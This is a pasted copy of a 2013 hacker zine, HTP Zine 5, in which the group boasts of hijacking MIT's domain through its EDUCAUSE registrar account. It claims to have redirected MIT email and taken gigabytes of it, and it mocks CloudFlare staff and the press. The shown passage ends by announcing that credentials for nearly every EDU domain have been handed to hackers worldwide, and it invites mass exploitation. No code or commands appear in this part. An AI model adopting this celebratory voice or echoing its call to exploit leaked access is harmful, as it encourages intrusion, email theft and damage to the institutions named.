API tools faq
paste
Advertisement
Guest User

htp5

a guest
May 8th, 2013
583
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 126.48 KB | None | 0 0
raw download clone embed print report
  1.  
  2. HTP Zine 5
  3.  
  4. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  5.  
  6. ▄▄▄▄▄▄▄▄▄
  7. ██████▄▄█▓▓██████████████████▓▓▓██▓▄▄███ > Intro █ █
  8. █████████▓▓██████████████████▓▓▓██▓███▓█ > MIT/EDU ▀▀▀█ █▀▀
  9. ███▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█▓█ > Linode █ █
  10. █▓█ ███▀▀▀▀▀███▀██▀▀█▀▀██▀██▀▀▀▀▀███ █▓█ > Nmap █ █▄▄▄▄▄▄▄▄▄
  11. ███ ██ ▄▀ ▀▄ ██ █▓▓ ███ █ ▄▀ ▀▄ ▓▓ █▓█ > Sucuri ▀▀▀▀█ █
  12. █▓█ ▓▓ ▀▄ ▄▀ ██ █▓▓ ███ █ ▀▄ ▄▀ ██ █▓█ > NIST NVD █ █▀█ █
  13. █▓█ ███▄▄▄▄▄███▄██▄▄█▄▄██▄██▄▄▄▄▄███ ███ > Wireshark █ █▄█ █
  14. █▓█ ________________________________ █▓█ > Art █ █▄▄▄▄▄▄
  15. █▓█ HTP____________________MWTB_DLTR ███ > Zerodays ▀▀▀▀▀▀▀█ █
  16. ██████▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀██████ > Outro █ █▀▀▀▀
  17. █▓▓██ █▀▀████████████████████▀▀█ ██▓▓█ > See reverse for █ █▄▄▄▄
  18. ████ ████████████████████▓▓██████ ████ > HTP4 █ █
  19. ▀▀▀▀▀▀▀▀
  20.  
  21. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  22.  
  23.  
  24. █████████████▒████████
  25. ▓▒██████▒░█░███░░ ▒███████████▒
  26. ███████████ ▓█████████████████████▒
  27. ▓████ ▒█████████▒▒░███████████████████████▒
  28. ░▒███████░████████▒██ ▒██████████████████████░
  29. ▓███████████████▒██ ░█ ░████████████████████████░
  30. ████████████████████▒ ███▒█████████████████████████████
  31. ░████████▒██████████████████ ▒█████████████████████████▒
  32. ███████████▒████████████ ▒ ███████████████████████████▒
  33. ▒██████████▒ ░████████████ ▒██▓ ░▒██████████████████████████▒
  34. █████████ ▒███▒ ███████░ ███████████████████████████████████
  35. █████████░██████ █████▒██▓ ▓███████▒▒████████████████████████████
  36. ▒██████████████████ ████▒▓▒█▒ █████████████████████████████████████
  37. ░████████████████████░▓█░ ░█ ░▓███████████████████████████████████
  38. ███████████████████▓ ░ █ ░██████████████████████████████████
  39. ████████████████████ █▒ ██░▒███████████████████████████████████
  40. ▒███████████████████ ▒ ▒▓███▒▓ ███████████████████████████████████
  41. ░██████████████████ █▓▓▓▓█░ █ ████████████░ ░████████████████
  42. ██████████████████ ▓███ █░ █████████████▓██████████████████ █
  43. ██████████████████ ░░ ▓█ ▒ ███████████████████████████████ ▓
  44. ██████████████████░ ▓ █░ █ ███████████████████████████████░
  45. ██████████████████ ██ ▒███ ████████████████████████████████▒█
  46. ███████████████▒██ █ ░▒▒██ ░▒████████████████████████████ █
  47. ███████████████▒▒▒ ███ ████████████████████████████▒ █░
  48. █░ ▓▓██████ ░ ▓█ ████▒ █ ████████████████████████████ █▓
  49. ██████▒ ▒█ ▒ █▓ █ ▓████████████████████████████ ▒█▒
  50. ▓ ▒▒█▓█▓████ ▒▒██▒ ██ ▒▒▒░█████████████████████████████▓██
  51. ███▓ █░ ▒██████░ ░ ░▓███▒ ██████████████████████████████░
  52. ██ █▓ ░████▒▒ ██ ▒ ░▒▒▓█▒ █████████████████████████████
  53. ░ ▓█▓ ██████▓▒ ███ ██ ██▓█▒▓░ ░██████████████████
  54. ▒░ ░███ ████████████▒▒ ▓▓ ▓█░ █ ██████████████████
  55. █▒ ▒██▒ ██████████████ ░ █▒ ▒▒█▒▓ ▒▒▒░██████████████████
  56. ██ ██ ▒▓ ███████████████████ ██▒ ▒███▒▓██▓ █ ░████████████
  57. ██▓█ █ ███████████████████▒ ███▓ ▓█ █▓ ████████████▓
  58. ███ ██████████████████████░▒▒█▒ ▒█ █▒ ██ ██████████▓
  59. █▒█ ████████████████████████ ░░ █▒ ▒ ▓██████████
  60. ▒▒█ ███████████████████████ █ █ ▒ ▒▒█████████▓
  61. █▒ ▒███████████████████████▒ █ ██ ██▒ ██ ░███▒ ██
  62. ██ █ ▒░ ▓███████████████████ ██ ███▒ ▒ ░██ █▒▒ ▒████░░██ ██
  63. █▓███▒ ██▓▒█████████████░ ██ ▓█░░░░██░ █▒ ▒ ░█░ ▓█░░██░
  64. ████▒ █ ▓███████████ ▓███░ █ ▓█ ▒ ▒▓ ███
  65. █████ ███ ████████░ ▒█░ ██ █ ██ ▒▓ ▒ ███ ██
  66. █▓██▓ ██▒ ▒███████▓ █▒ ▓▓ ░███ ██▒▒▒ ▒█░ ███████▒
  67. ▒█░▒ ░ ░█░ ███████▒ ░▓ ▒█████▒███▓░ ▒███▒████░ ███████▒
  68. ▒█████░░ ░▒ ░███████ ░█▓ ░░███ █ █ █ ██████▓
  69. ▒██████ ▒███████████ ░ ▒▒███ ░▓ █ ░ ░█ █████▒
  70. ▒███████▒ ███ ▒██████░███▒▒▒█░ ▒ ▓ █░ █ ░████▓
  71. ███████ ░█░ ░▒ ▓██████ █ ▒█ █░ ▓██░░█▒▒ ▒████▒
  72. ▓███████ ▒█▒ ░██ ▒██ ▒ ███████ ███░████▓██████
  73. /████████ /████████ /██████████████████ /███████████████▄
  74. |▒████████ |████████ |▒██████████████████ |▒█████████████████
  75. |▒████████ |████████ |▒██████████████████ |▒██████▀▀▀▀▀▀█████
  76. |▒█▓▓▓▓▓▓█▄▄▄▄▄█▓▓▓▓▓▓█ |/▒▒▒▒/█▓▓▓▓▓▓█▒▒▒▒/ |▒█▓▓▓▓▓ |▓▓▓██
  77. |▒█▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█ |▒█▓▓▓▓▓▓█ |▒█▓▓▓▓▓ |▓▓▓██
  78. |▒█▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█ |▒█▒▒▒▒▒▒█ |▒█▓▓▓▓▓▓▓▓▓▓▓▓▓▓██
  79. |▒█▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒█ |▒█▒▒▒▒▒▒█ |▒█▒▒▒▒▒▒▒▒▒▒▒▒▒▒██
  80. |▒█▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒█ |▒█░░░░░░█ |▒█▒▒▒▒▒█▀▀▀▀▀▀▀▀▀
  81. |▒█░░░░░░█▀▀▀▀▒█░░░░░░█ |▒█░░░░░░█ |▒█░░░░░█
  82. |▒█░░░░░░█ |▒█░░░░░░█ |▒█ █ |▒█░░░░░█
  83. |▒█ █ |▒█ █ |▒█▄▄▄▄▄▄█ |▒█ █
  84. |▒█▄▄▄▄▄▄█ |▒█▄▄▄▄▄▄█ |/▒▒▒▒▒▒▒/ |▒█▄▄▄▄▄█
  85. |/▒▒▒▒▒▒▒/ |/▒▒▒▒▒▒▒/ |/▒▒▒▒▒▒/ ░ ░░▒ ZINE 5
  86.  
  87. htphtphtphtphtphtphtphtphtphtphtphtphtphtphtphtphtphtphtphtphtphtphtphtphtphtpht
  88. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  89.  
  90. NORTH KOREA OF THE INTERNET SINCE 2011
  91.  
  92. ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  93.  
  94. So its been 182 days since our last zine, since then our dedicated team
  95. of researchers, philanthropists, playboys and troublemakers have been
  96. busy at work scouring the Internet for high quality entertainment at the
  97. expense of everybody who isn't us.
  98.  
  99. 5/1 also marks the day HTP was founded, which means we've had two
  100. glorious years of being the best and owning the rest. Today we will be
  101. drinking 40s, listening to some balla tunes, and circlejerking over the
  102. inevitable confusion, awe, bitterness and jokes that will ensue from
  103. this release. :)
  104.  
  105. Due to the immense size of HTP5, this zine is unfortunately not self
  106. extracting. However do not fret, this zine is full HD and 4D ready.
  107. We've divided everything into its own section just to keep things sane.
  108.  
  109. So go get the popcorn ready and strap in for a long and wild ride. This
  110. zine is a tale of trust, betrayal, brotherhood, rampant paranoia,
  111. hilariously shoddy police work (More on that later), and the plight of
  112. the whitehat sheep being fleeced at will by their blackhat shepherds.
  113. It's really only missing a tacked on love story, a few good car chases,
  114. and an explosion at the end, but it might not be too late for all of that.
  115.  
  116.  
  117. ▀ ▄
  118. █▄▄
  119. ▄____ ░ █▄
  120. ▄ ▄███▀▀ \;',`'-,▓█░
  121. ▓██▀-;_,; ':-;_,'.█▓░
  122. ▓▓██; '/ , _`.-\█▓
  123. ░▓███▄'`. (` /` ` \`|█
  124. ░ ▓▓▓ █|██ `\`-. \_ / |▓
  125. ░█▓▓█▓░░ | █▓ ( `, .`\ ;'|░
  126. ░▓▓█░ ░░ \ ░ ▓░░ .' `-'/▀
  127. ▄▄▓▓▄▄▄▄▄▄▄▄▄▄▄▄▓▄▄▓▓▓░ .'▀
  128. ░██▓▀ ▀█████████████████▄.-'`
  129. ███░ ███▀▀███▀▀███ ███
  130. █████████ ███ ███▄▄███ 2013 ▒ ░
  131. █████████ ███ ██████▀
  132. ███ ███ ███ ███
  133. ▄███▄ ▄███▄ ███ ▄███▄
  134. ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  135. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  136.  
  137.  
  138. ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
  139.  
  140.  
  141. ▄
  142. ░████▓██▓██▓▒▒▒░
  143. ░▒██████▓▓███████▒████▒░░░░
  144. ░▓████████████████▒██▓████▒▒░░ ░░ ░░░░
  145. ░▒▓████████████████████████▓▓██▒█▓▒▓▒▒▓█░░ ░░
  146. ▒████████████████████████████████▓▓▓██████▓ ▒ ░░
  147. █▓▓███████████████████████████████████████▓▓▓ ░ ░ ░▒
  148. ░▓▓█▓███████████████████████████████████████████░ ▒ ░ ▒░
  149. ▒▓▓▓▓▓▓▓█████████████████████████████████████████▓▓░░▒ ░
  150. ░▒▓▓▒▓▓██████████████████████████████████████████████▓▒ ░░ ░ ░
  151. ░▒▒▒▓▓▓▓▓▓▓▓▓▓▓███████████████████████████████████████▓▓█▒ ░ ░░
  152. ░░▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓████████████████████████████████████████▓▓▓▒ ▒░
  153. ░▒█▓█▓█▓▓▓▓▓▓█▓▓▓▓▓▓█████████████████████████████████████████▒█ ▒░
  154. ░▓▓▓▓▓▓▓▒█▓▒▓▓▓▓▓▓▓▓▓▓████████████████████████████████████████░█▓ ░ ▒
  155. ░██▓▓▓▓█▓▓▓▓█▒▓▓▓▓▓▓▓▓▓▓▓██████▓████████████████████████████████▓██▓█░░
  156. ▒▓█▓▓▓▓▓█▓█▓▒░▒░█▓▓▓▓▓▓▓▓▓▓██████████████████████████████████████▓███▓▒▒
  157. ▒█▓▓▓▓▒▓█░░▓▓▓░██▒▓▓▓▓▓▓▓▓▓▓▓████▓██████████████████████████████████▓██▓▓
  158. ▓▓▓██▓▒▓▓▓█▒░▓▒▓▓▒▓▓▓▓▓▓▓▓▓▓▓▓████████████████████████████████████████████
  159. █▓█▓▓▒▓▒▓▓▓▒░▒▓▓▓▓░░▓▒▓▓▓▓▓▓▓▓█████████████████████████████████████████▓▓▓
  160. ░▓▓▓▓▒▓▒▓█▓▓▒░░▓▓▓▓▓▒▒▓▓▒▓▓▓▓▓███▓▓████████████████████████████████████████
  161. ░▒░█░▒▒░▒▓▓▓▒▒░░░▓█▓▓▓▒▓▓▒▒▒▓▓▓██▓▓████████████████████████████████████████
  162. ░░ ░ ░ ░▒▓▒▒▒▒░▒░▓▓▓▓▓▓▓▒▓▓▒▒▓█████████████████████████████████████████████
  163. ▒▓░ ░░░░▒▓▓░▒░▒▓░░░▒▓▓▓▓▓▓▓▓▓▓██████████████████████████████████████████████
  164. ██▒▒░░▒░▒▓▓░▒▒▒▒▒░░▒▒▓▓▓▓▓▓▒▓█▓█████████████████████████████████████████████
  165. ██▓▒▒▒▒░▒▒▓░██▒▓▓▒▒▒░▓▓▓▒▒▓▓████████████████████████████████████████████████
  166. ████▓▓▓▓░▓▓░▓▓█▓▓▒▒▒░░▒█▒▒▓█████████████████████████████████████████████████
  167. █▓█▓▒▓██░█▓░▒▓█▓▓▓▒▒▒▒▒██▓██████████████████████████████████████████████████
  168. ▓█▒░░▓▒▒▓▓▒░░░▒▒▒▓▓▓█▓██████████████████████████████████████████████████████
  169. ▒█▒░ ▓ ░▒▒░ ░ ░░░░▒░░▒▓█▓█████████████████████████████████████████████████
  170. ░█▒░ ░ ░░░░▒█▓███████████████████████████▓▒░▒▒▒▓█████████████
  171. ░░ ░░░░░░▒█████████████████████████▓▒▓▓▓▓▓▓▓▒▓███████████
  172. ░ ░░░░░░░░░▓███████████████████████▒▓██▓▒░░▒▒▒▒██████████
  173. ░ ░░░░░░░░░░░▓▓████████████████████████▓▒░░░░▒░░▓█████████
  174. ░ ░░░░▒▓▓▒░░░░░░░░░░░░▒░█████████████████████▓▓▓░ ░░░▒░▒█████████
  175. ░░░░ ░▒▓▒ ░▒▒▓▓▒░░░░░░░░▓▒███████████████████████▓██▒▒░░▒░▓████████
  176. ░░ ░██▓▓▓▒░░ ░░░░░░░░░░░░░░░▒▓▓██████████████████████▓▓▒▒░░▒░██████▓▓▓
  177. ░ ░▒▒▓▓▓░▒░░░▒▒░░░░░░ ░ ░░░░▒█████████████████████▓▓▓▒░░░▒▒██▓██▓▓▓▓
  178. ░ ░▒▒▒░ ░░▒▒░░ ░░░░░▓███████████████████▓██▓█▒░▒░███▓█▓▓▓▓▓
  179. ░░░░░ ░▒▒░░ ░░░░░░▒████████████████████▓▓▒▒▒░▓▓████▓▓▓██
  180. ░░░ ░▒▒░░ ░░░░░░▒▒▓█████████████████▓▓▓▓▒░▓███████▓▓▓█
  181. ░░ ░░░░░▒▒▒▒▒██████████████▓▓▓▓▒▒▒▓██████▓▓▓▓▓▓
  182. ░░ ░░░░░░▒▒▒▒▒▓█████████████▓▓▓▓▒▒▓██▓██████▓██▓
  183. ░░ ░░░░░░▒▒▒▒▒▒▒██████▓██▓██▓▓▓▓▓▓▓▓▓▓▓▓███▓█▓▓▓▓
  184. ░░░ ░░░░░░▒▒▒▒▒▒▒▒▒█████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓███▓▓█▓▓▓▓
  185. ░░ ░░░░░░░▒▒░▒▒▒▒▒▒▓████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓███▓▓▓
  186. ░ ░░░░░ ░░░░░░▒░▒▒▒▒░▒▒▒▒▒▓███▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓▓▓▓▓▓▓▓
  187. ░░ ░▒░░░░░ ░░░░░░░░░░░░░░▒▒▒▒▒▒▒▓█▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▓▓▓▓█▓
  188. ░░░░░ ░░▒▒░ ░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▓▓▓█▓▓▓▓▓▓▓▓▓▓▓▓▓███▓▓▓█▓▓
  189. ░▓▒▒▒▒▒▓░ ░░░░░░░░░░░░░░▒░▒░▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▓▓▓▒░░
  190. ▒░░░ ░░░░░░░░░░░░░░░░░░▒░░▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░
  191. ░ ░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓█▓▓▓█▓▓▓▒▒░░
  192. ░ ░░░░░░░░░░░░░░░░░▒░░░▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓█▓▓▓▓▓▓▓▓░░
  193. ░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓█▓▓▓▓█▓▓▓▒
  194. ░▒▒▒▒▒▒▒▓▓▒░ ░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒░
  195. ░▒▒ ░░░ ░░░░░░░░░░░░░░░▒░▒▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▓▓▓▓▓▓▓▓▓▓▒░░
  196. ░ ░░░░░ ░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓░░
  197. ░▒▒▓▓▒░░ ░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▒▒▒░░░▒▒▓▓▓▓▓▓█▓▓▓▓▒
  198. ░░░▒▒░░░ ░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▓▒▒░░░░░░▒▒▓▓▓▓▓▓▓▓█▒▒░
  199. ░ ░░░▒▒▒░▒▒▒▒▒▒▒▒▒▒▒▒▓▓▒▒░░░░░░░░░▒▒▓▓▓▓▓▓▓▓▓▒░
  200. ░ ░░▒▒▒▒▒▒▒▒▒▒░▒▒▒▒▒▒▓▓▓▒░░░░░░░░░░▒▒▓▓▓▓▓▓▓▓▓▓░
  201. ░ ░░▒▒▒▒▒▒▒▒▒▒░░░░▒▓▓▓▓▒▒░░░░░░░░░░▒▒▒▓▓▓▓▓▓▓▓▓▓▓░
  202. ░ ░░░▒▒▒▒▒▒▒▒▒░ ░▒▓▓▓▓▒▒░░░░░░░░░░░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓▒▒
  203. ░░ ░▒▒▒▒▒▒▒▒░░ ░▒▓▒▒░░░░░░░░░░░░░░▒▒▒▒▒▒▓▓▓▓▓▓█▓▒▓
  204. ░░░▒▒▒▒▒░░░ ░▒▒░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▓▓▓▓▓▒███
  205. ░ ░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▓▓▒█▓███
  206. ░ ░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒███████
  207. ░ ░░░░░░░░░░░░░░░░▒▒▒▒░▒▓▒▒▒▓▓▒
  208. ░ ░░░░░░░░░░░░░░▒░▒█▓▒▓▓▒▒▒▒
  209. ░ ░░░░░░░░░░▒░░▓▒▓▓▓▓▓▒▒▒▒
  210. ░ ░░░░░░░▒▒▓█▓██▓▓▓▓▒▓
  211. ░ ░▒▒▓▓▓▓▓█▓▓▓▓▓▓▓
  212. ▒ ░▒▓▓▓▓▓█▓▓▓▓▓▓▓▒▒
  213. ▒▒██ ░░▒▒██▓▒▒▒▒▒▒▒▒▓▓▒▒▒
  214. ░▒█▓██▒ ░░▒▓▓▓▓▒▒▓▓▒▓▒▒▒░░░░░
  215. ▓███▓██ ░░░▓▒▒▒▒▓▒░▒▓▓▓▓▓▓▓████
  216. ░░█████▓▒ ▒▓▓▓░░░░▒▒▓██▒░░░░▓▒▒▒░░░░▓▓▓
  217. ░▒▓▒██▒▓░ ░░░░▒░░░░░▒▓▓▓█▒▒░░░▒▓▒▒▒▒░░░░▒▒▒
  218. ░█████▒█░░░░░░░░░▒ ░▓██▓▒▒░░░▒▓█▓▓▒▒░░░░░░░░
  219. ░ ███▒███▓░░░░░░░░▒░░▓█▓▓░░░░░▒▓▓▓▓▒░░░░░░░▒▓▓
  220. ▓█▒█████░░░░░░░░▓░ ███▒░░░░░░░▓▓▒▒░░░░▒▒░▒▒░░
  221. ░▒█████▒░░░░░░░▒▒▓▒█▓▒▒░░ ░▒▒▒▒▒▒▒▒▒░░░▒▒▒▓▓▒▒
  222. ▒▓██████░░░░░░░▓▒░▓█░░▒▓▒░░░░▒▒▓▓▒░▒░░░░▒▓▒▒▓█▓
  223. ███████░░░░░░░░▒▓░▒░▒▓▒░▒░░░▒▒▒▒▓▒▒░ ░░░░░▒▓▓░░
  224. ███████░░░░░ ░░░▒▒█░░░░░▒░░▒▒▒▒░▒▓▒░░░░░░░░ ▓░▒▒
  225. ▒▒█████░░░░░ ░░░░▒█▓▒ ░▒▒▒▒░▒▒▓░░░▓▓▒░░░░░▒░▒░░░░
  226. ▒▒█▒█▒▓░░░░░░░░░░▒██▒██░░░██▒░▒░▒▒▒▒▒░░░░▒▒▓▒▒█▒██
  227. ░█▒████░░░░░░░░░░░▓█▒████░░▒▒█▒░░▒▒▒▒▒▒▒▒░░▒░░░▒█▒░
  228. ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  229. "What's the score?"
  230. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  231.  
  232. ██ ██ ██ ██ █████ HTP5
  233. ██ ██ ██ ▄▄ ▄▄
  234. ██ ▀▀ ██ ██ ██ FEATURING EDUCAUSE
  235. ▄██▄▄▄▄██▄▄██▄▄██▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  236.  
  237. Back in January we decided to upstage Anonymous (again) and have a little fun
  238. with MIT. After their circa 2000 deface on mit.edu, we decided to up the ante.
  239. In doing so, we knew we had to make it very clear that it was an anti-Anonymous
  240. deface (A mirror of it can be found here: straylig.ht/files/mit/mit.html). Thus
  241. why it made reference to Sabu, grand wizard of LulzSec, and "DOWN WITH
  242. ANONYMOUS." Despite all this, some of the cluebags in the media apparently
  243. thought that by "DOWN WITH ANONYMOUS," we meant "we b down wit da lol anonimuss
  244. leejun y0!" Additionally, almost everybody missed the fact that it was a troll
  245. deface, which just proves that it will be a few decades before we reach October
  246. 1st, 1993.
  247.  
  248. MIT's reaction was particularly lulzy. They did a better job of reporting the
  249. facts than all the media outlets, but they couldn't decide whether the e-mail
  250. got intercepted or not. First, there was this from
  251. http://tech.mit.edu/V132/N62/hack.html:
  252.  
  253. "Unlike previous attacks, which temporarily disabled some services, this attack
  254. had the potential to be much more severe. A more calculated hacker could have
  255. intercepted email messages intended for anyone at the MIT.edu domain, including
  256. all alumni who use alum.mit.edu email addresses."
  257.  
  258. After having a day to do a better post-mortem, MIT started freaking out. They
  259. published this: http://tech.mit.edu/V132/N63/hack.html. From that link:
  260.  
  261. "Unlike previous attacks, which temporarily disabled some services, this attack
  262. had the potential to be much more severe. Email was specifically affected. Mail
  263. is normally received by one of nine different MIT servers; however today, mail
  264. that was sent between 11:58 a.m. and 1:05 p.m. was directed to a machine at
  265. KAIST, Korea Advanced Institute of Science and Technology, meaning the
  266. attackers had complete control of emails successfully sent during that time."
  267.  
  268. We don't know the percentage either, but we know 5.1 GB of uncompressed e-mail
  269. when we see it :P. So who owned the domain? Well :
  270.  
  271. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  272.  
  273. Domain Name: MIT.EDU
  274.  
  275. Registrant:
  276. Massachusetts Institute of Technology
  277. Cambridge, MA 02139
  278. UNITED STATES
  279.  
  280. Administrative Contact:
  281. I got owned
  282. Massachusetts Institute of Technology
  283. MIT Room W92-167, 77 Massachusetts Avenue
  284. Cambridge, MA 02139-4307
  285. UNITED STATES
  286. (617) 324-1337
  287. cunt@mit.edu
  288.  
  289. Technical Contact:
  290. OWNED NETWORK OPERATIONS
  291. ROOT
  292. US
  293. DESTROYED, MA 02139-4307
  294. UNITED STATES
  295. (617) 253-1337
  296. owned@mit.edu
  297.  
  298. Name Servers:
  299. FRED.NS.CLOUDFLARE.COM
  300. KATE.NS.CLOUDFLARE.COM
  301.  
  302. Domain record activated: 23-May-1985
  303. Domain record last updated: 22-Jan-2013
  304. Domain expires: 31-Jul-2013
  305.  
  306. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  307.  
  308.  
  309. Here's the cherry on top:
  310.  
  311. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  312.  
  313.  
  314. From: "CloudFlare Support" <support@cloudflare.com>
  315. Subject: [CloudFlare Support] Pending request: Why is cloudflare staff
  316. modifying my dns records? (ticket #12053)
  317. Date: Wed, January 23, 2013 4:48 pm
  318. To: "Fuckmit" <fuckmit@tormail.org>
  319.  
  320. ##- Please type your reply above this line -##
  321.  
  322. [CloudFlare Support] Pending request: Why is cloudflare staff modifying my dns
  323. records? (ticket #12053)
  324.  
  325. This is an email to remind you that your request (#12053) is pending and awaits
  326. your feedback.
  327.  
  328. Please click the link below to review and update your request:
  329. http://support.cloudflare.com/tickets/12053
  330.  
  331. ----------------------------------------------
  332.  
  333. Justin, Jan 22 11:48 am (PST)
  334.  
  335. Hi,
  336.  
  337. We have reason to believe you are not the actual owner of the mit.edu domain.
  338. We have been in contact with the actual owner this morning.
  339.  
  340. As such we have taken steps to secure the account, and the domain has already
  341. been returned to the actual owner.
  342.  
  343. ----------------------------------------------
  344.  
  345. Fuckmit, Jan 22 11:45 am (PST)
  346.  
  347. Two questions:
  348. Why is cloudflare staff modifying my dns records without authorization?
  349. Why is cloudflare staff repeatedly regenerating my API key every time they
  350. decide to modify my dns records without authorization?
  351.  
  352. --------------------------------
  353. This email is a service from CloudFlare Support
  354.  
  355. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  356.  
  357.  
  358. You have reason to believe a user named 'Fuckmit' is not the legitimate owner
  359. of mit.edu? Excellent deduction, Justin.
  360.  
  361. Soon after, we decided to troll Gizmodo and the rest of the media into
  362. preserving our access. The 'browser exploit' on MIT's NOC
  363. ( http://gizmodo.com/5978039/hackers-incoherently-deface-entire-mit-website )
  364. never existed. We'd never show our full hand at once, we'd just lose access.
  365.  
  366. MIT certainly believed us though, despite their own reassurances otherwise. For
  367. confirmation, they contacted the root registrar for EDU domains (EDUCAUSE)
  368. after finally asserting that we got access to their EDUCAUSE account.
  369.  
  370. EDUCAUSE then made the fatal mistake of overlooking our complete access into
  371. the EDU TLD. Though, we can't say we expect much from a registrar running ASPX
  372. on their backend.
  373.  
  374. Now, just in case you don't believe us, we have entrusted the login credentials
  375. of nearly every EDU domain to hackers worldwide (active as we speak) within the
  376. MIT section of this zine. So, let's see what happens first, mass exploitation
  377. or whitehat response? ;) We are not ones for defacing, actually, and we're
  378. going to leave that up to the Internet Justice League (AKA Anonymous) if they
  379. can even get to it on time. And we figure they'll manifest some statement
